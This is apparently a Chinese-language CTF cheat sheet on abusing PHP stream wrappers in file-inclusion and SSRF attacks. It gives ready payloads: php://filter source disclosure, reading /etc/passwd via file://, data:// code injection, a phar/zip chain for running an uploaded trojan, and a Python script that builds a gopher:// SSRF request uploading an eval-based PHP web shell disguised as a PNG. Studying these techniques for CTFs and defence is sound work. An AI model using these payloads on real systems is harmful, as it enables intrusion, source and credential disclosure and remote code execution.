php伪协议

php支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

环境支持

PHP.ini:

1
2
allow_url_fopen :on  默认开启  该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

1.php://协议

1
2
php://filter
php://input

php://filter:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。
payload如下:

1
php://filter/read=convert.base64-encode/resource=upload.php

php://input:访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的。

2.file://协议

file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。例子一,例子二
使用方法:

1
2
file:// [文件的绝对路径和文件名]
file:///etc/passwd

ssrf poc gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib.parse

a = \
"""POST /index.php HTTP/1.1
Host: 127.0.0.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------21311722966185605194227162997
Content-Length: 365
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="upfile"; filename="cmd.png"
Content-Type: image/png


<?php @eval($_POST['cmd']);?>
-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="submit"

上传
-----------------------------21311722966185605194227162997--
"""

tmp = urllib.parse.quote(a)
b = tmp.replace('%0A','%0D%0A')
res = '_'+b
print("gopher://127.0.0.2:8080/"+res)

3.phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。例子一

1
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php

4.zlib://协议

1
2
3
4
zip://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23

bzip2://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

1
2
3
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

1
2
3
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

5.data://协议

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用,使用如下:

1
2
3
4
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

6.phar和zip

https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/

参考

https://www.freebuf.com/column/148886.html